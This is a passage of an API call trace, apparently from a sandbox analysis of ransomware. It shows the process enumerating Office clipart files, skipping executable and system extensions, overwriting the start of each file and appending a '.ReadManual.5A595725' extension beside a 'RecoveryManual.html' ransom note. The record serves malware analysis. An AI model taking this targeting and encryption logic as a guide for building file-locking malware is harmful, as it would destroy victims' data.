psz2="fon") returned 1 [0274.616] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.616] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" [0274.616] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF.ReadManual.5A595725" [0274.616] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF.ReadManual.5A595725") returned 87 [0274.616] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39528505972) returned 1 [0274.616] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf")) returned 0x20 [0274.617] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.618] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=25270) returned 1 [0274.618] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x62b6, lpName=0x0) returned 0x184 [0274.618] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.618] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.618] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.620] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.620] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x62b6) returned 0x2f0000 [0274.620] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.620] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39528927926) returned 1 [0274.621] CloseHandle (hObject=0x184) returned 1 [0274.621] SetSecurityInfo () returned 0x57 [0274.621] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.621] CloseHandle (hObject=0x194) returned 1 [0274.621] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6302, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00694_.WMF", cAlternateFileName="")) returned 1 [0274.621] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00694_.WMF" | out: lpString1="SO00694_.WMF") returned="SO00694_.WMF" [0274.621] lstrcmpiW (lpString1="SO00694_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.621] StrStrIW (lpFirst="SO00694_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.621] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.621] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.621] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.621] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.621] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.621] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.621] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.621] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.621] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.621] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.621] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.621] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.621] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.621] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.621] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" [0274.621] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF.ReadManual.5A595725" [0274.621] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF.ReadManual.5A595725") returned 87 [0274.621] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39529016702) returned 1 [0274.621] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf")) returned 0x20 [0274.622] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.623] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=25346) returned 1 [0274.623] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6302, lpName=0x0) returned 0x184 [0274.623] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.623] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.623] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.625] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.625] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6302) returned 0x2f0000 [0274.626] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.626] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39529456567) returned 1 [0274.626] CloseHandle (hObject=0x184) returned 1 [0274.626] SetSecurityInfo () returned 0x57 [0274.626] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.626] CloseHandle (hObject=0x194) returned 1 [0274.626] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3636, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00704_.WMF", cAlternateFileName="")) returned 1 [0274.626] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00704_.WMF" | out: lpString1="SO00704_.WMF") returned="SO00704_.WMF" [0274.626] lstrcmpiW (lpString1="SO00704_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.626] StrStrIW (lpFirst="SO00704_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.626] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.626] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.626] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.626] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.626] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.626] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.626] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.626] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.626] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.626] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.626] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.627] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.627] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.627] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.627] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" [0274.627] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF.ReadManual.5A595725" [0274.627] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF.ReadManual.5A595725") returned 87 [0274.627] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39529545048) returned 1 [0274.627] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf")) returned 0x20 [0274.627] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.627] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13878) returned 1 [0274.627] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3636, lpName=0x0) returned 0x184 [0274.627] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.629] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.629] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.630] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.631] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3636) returned 0x2f0000 [0274.631] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.631] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39529965172) returned 1 [0274.631] CloseHandle (hObject=0x184) returned 1 [0274.631] SetSecurityInfo () returned 0x57 [0274.631] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.631] CloseHandle (hObject=0x194) returned 1 [0274.631] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6697b000, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6697b000, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x16478, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00726_.WMF", cAlternateFileName="")) returned 1 [0274.631] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00726_.WMF" | out: lpString1="SO00726_.WMF") returned="SO00726_.WMF" [0274.631] lstrcmpiW (lpString1="SO00726_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.631] StrStrIW (lpFirst="SO00726_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.631] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.631] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.631] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.631] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.631] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.631] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.631] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.631] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.632] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.632] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.632] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.632] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.632] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.632] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.632] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" [0274.632] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF.ReadManual.5A595725" [0274.632] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF.ReadManual.5A595725") returned 87 [0274.632] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39530052864) returned 1 [0274.632] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf")) returned 0x20 [0274.632] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.632] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=91256) returned 1 [0274.632] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16478, lpName=0x0) returned 0x184 [0274.632] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.633] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.633] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.635] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.635] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16478) returned 0x1de0000 [0274.637] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0274.638] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39530651879) returned 1 [0274.638] CloseHandle (hObject=0x184) returned 1 [0274.638] SetSecurityInfo () returned 0x57 [0274.638] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.638] CloseHandle (hObject=0x194) returned 1 [0274.638] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d1f5400, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d1f5400, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x1758, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00728_.WMF", cAlternateFileName="")) returned 1 [0274.638] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00728_.WMF" | out: lpString1="SO00728_.WMF") returned="SO00728_.WMF" [0274.638] lstrcmpiW (lpString1="SO00728_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.638] StrStrIW (lpFirst="SO00728_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.638] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.638] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.638] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.638] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.638] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.638] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.638] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.638] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.638] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.638] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.638] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.638] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.638] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.639] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.639] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" [0274.639] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF.ReadManual.5A595725" [0274.639] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF.ReadManual.5A595725") returned 87 [0274.639] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39530741156) returned 1 [0274.639] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf")) returned 0x20 [0274.639] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.639] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5976) returned 1 [0274.639] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1758, lpName=0x0) returned 0x184 [0274.639] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.640] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.640] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.642] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.642] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1758) returned 0x2f0000 [0274.642] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.642] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39531072264) returned 1 [0274.642] CloseHandle (hObject=0x184) returned 1 [0274.642] SetSecurityInfo () returned 0x57 [0274.642] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.642] CloseHandle (hObject=0x194) returned 1 [0274.642] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5096e900, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5096e900, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00732_.WMF", cAlternateFileName="")) returned 1 [0274.642] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00732_.WMF" | out: lpString1="SO00732_.WMF") returned="SO00732_.WMF" [0274.642] lstrcmpiW (lpString1="SO00732_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.642] StrStrIW (lpFirst="SO00732_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.642] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.642] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.642] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.642] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.642] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.643] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.643] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.643] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.643] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.643] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.643] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.643] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.643] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.643] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.643] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" [0274.643] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF.ReadManual.5A595725" [0274.643] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF.ReadManual.5A595725") returned 87 [0274.643] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39531161266) returned 1 [0274.643] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf")) returned 0x20 [0274.643] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, 